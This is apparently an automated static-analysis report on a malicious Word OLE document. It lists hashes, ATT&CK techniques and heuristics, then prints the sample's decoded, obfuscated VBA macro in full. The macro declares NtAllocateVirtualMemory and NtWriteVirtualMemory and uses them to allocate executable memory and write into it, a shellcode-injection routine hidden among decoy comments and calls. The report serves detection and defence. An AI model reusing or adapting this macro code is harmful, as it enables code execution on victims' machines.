Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89a5363a7019aeca…

MALICIOUS

Office (OLE)

221.5 KB Created: 2017-11-14 13:16:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 3f5237504e34318c9884b6e5e5c5bd08 SHA-1: a21a7b1399902739df7e18d3ddf1c41312863e1d SHA-256: 89a5363a7019aeca1aff2493b75869003383090cb4133a93a30a864456c382f1
62 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is an OLE document with a large slack region and detected VBA macros. The VBA macro uses obfuscated API calls to NtAllocateVirtualMemory and NtWriteVirtualMemory, suggesting an attempt to inject code or download and execute a payload. The presence of these low-level memory manipulation functions indicates a malicious intent to execute arbitrary code.

Heuristics 3

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 226,816 bytes but its declared streams total only 130,531 bytes — 96,285 bytes (42%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4020 bytes
SHA-256: 894944c08cd7f0470af7c6980f275875f9f61bcb5aba5a8638d6c1011d796979
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "fibrocalcific"
Attribute VB_Base = "0{D1A41147-D1BC-48A6-A747-EC98288049D8}{F7027132-9AB3-41CA-A853-70DAC500FE9C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "pollitra"
#If (13 * 3 + 5) > (8 - 3 * 1) And Not (88 - 11 * 8) * 30 < (Win64) Then
'  I dont know who he is
'  Dont die before I do
Public Declare Function slyness _
Lib "Ntdll  " Alias _
"NtAllocateVirtualMemory" (predict As Long, nonobservance As Long, ByVal drapery As Long, unpretentiouslyByVal As Long, abulic As Long, ByVal biauricular As Long) As Long
'  I know that you exist
'  irgendwer mich liebt
Public Declare Function byword Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal battles As Any, impolicy As Any, fatty As Any, dukes As Any) As Long
'  His passion is a kiss
'  Ich weine leise in die Zeit
#End If
'  Ich warte hier
'  His passion is a kiss
#If (13 * 3 + 5) > (8 - 3 * 1) And (88 - 11 * 8) * 30 < (Win64) Then
'  Doch ich weiß dass es dich gibt
'  Sometimes love seems so far
Public Declare PtrSafe Function abet Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal caesura As Any, bluecollar As Any, lachnolaimus As Any, beautifully As Any) As LongPtr
'  Stirb nicht
'  Ich warte hier
Public Declare PtrSafe Function jauntily _
Lib "ntdll  " Alias _
"NtWriteVirtualMemory" (ByVal adnexa As Any, ByVal cockcrowing As Any, ByVal denying As Any, ByVal overenthusiastic As Any, ByVal cladorhyncus As Any) As LongPtr
'  Dont die before I do
'  Your love I can't dismiss
Public Declare PtrSafe Function slyness _
Lib "ntdll  " Alias _
"NtAllocateVirtualMemory" (castor As LongPtr, platoon As LongPtr, ByVal hindi As LongPtr, altricialByVal As LongPtr, beatific As LongPtr, ByVal trichechidae As LongPtr) As LongPtr
'  Your love I can't dismiss
'  Ich warte hier
#End If
'  I dont know who you are
'  Stirb nicht

Function astragal(pfennig, tambourine, anglocatholic)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim accidental As LongPtr
Dim meagerness As LongPtr
Dim adductor As LongPtr
Dim poignancy As LongPtr
Dim mapinguari As LongPtr
#End If
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim meagerness As Long
Dim accidental As Long
Dim poignancy As Long
Dim adductor As Long
Dim mapinguari As Long
Dim acholia As Byte
#End If
meagerness = pfennig
mapinguari = anglocatholic
poignancy = tambourine
debonnaire = 17 + 40
Pmt 0, debonnaire, 34289, 12374, 2
accidental = 44 - 61 + 16
jauntily ByVal accidental, _
meagerness, poignancy, mapinguari, _
adductor
mockingbird = quietus
End Function

Function scrap(ed)
Dim quaggy As Byte
Dim conglomerate As Byte
Dim cordaites As Integer
Dim holystone As Integer
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim descending As Variant
Dim outfit As LongPtr
azygous = 83 - 128 + 53
Dim grapey As LongPtr
Dim decorously As String
Dim biprism As Byte
Dim mechanized As LongPtr
Dim romanorum As Long
#End If
#If (105 - 82 + 377 + 74 - 27 + 253) > ((91 - 23 + 252) - (101 - 87 + 526) * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim outfit As Long
azygous = 120 - 122 + 6
Dim grapey As Long
Dim mechanized As Long
#End If
gomorrah = VarPtr(outfit)
nimblefooted = astragal(gomorrah, VarPtr(ed) + 8, azygous)
inquiringly = 98 - 98 - 1
grapey = 24 - 93 + 69
smallscale = 83 - 62 - 21
mechanized = 42 - 58 + 9469
officeholder = 4 - 95 + 4187
cadit = 66 - 55 + 53
faction = slyness(ByVal inquiringly, _
grapey, ByVal smallscale, mechanized, ByVal officeholder, _
ByVal cadit)
quietus = briticism
astragal grapey, outfit, 15 - 37 + 5905
jamboree = 10 + 54
Pmt 0, jamboree, 9258, 30308, 2
scrap = grapey
End Function